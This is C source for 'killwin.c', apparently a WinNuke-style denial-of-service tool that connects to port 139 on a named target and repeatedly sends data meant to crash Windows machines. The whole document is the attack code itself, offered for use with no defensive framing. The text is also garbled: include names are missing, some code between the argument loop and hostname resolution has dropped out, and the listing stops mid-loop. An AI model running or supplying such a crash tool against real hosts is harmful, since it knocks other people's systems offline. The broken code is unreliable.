/* killwin.c - winnuke idea, modifcation for me ONLY - napster */ #include #include #include #include #include #include #include int x, y, sockdesc, port = 139, hits = 1; char *target, *str = "Later."; void parse_args(int argc, char *argv[]); void usage(char *progname) { printf("Usage: %s [-p port (Default 139)] [-t hits (Default 1)]\n", progname); exit(-1); } void parse_args(int argc, char *argv[]) { target = argv[1]; if (argv[1][0] == '-') { printf("Must specify a target.\n"); exit(-1); } for(y=2;yh_addr, he->h_length); } else { perror("Resolving"); } sockdesc = socket(AF_INET, SOCK_STREAM, 0); if (sockdesc < 0) { perror("socket"); exit(-1); } if (connect(sockdesc, (struct sockaddr *)&sin, sizeof(sin)) < 0) { perror("connect"); close(sockdesc); exit(-1); } printf("Connected to [%s:%d].\n", target, port); printf("Sending crash %d times...\n", hits); for (x=0;x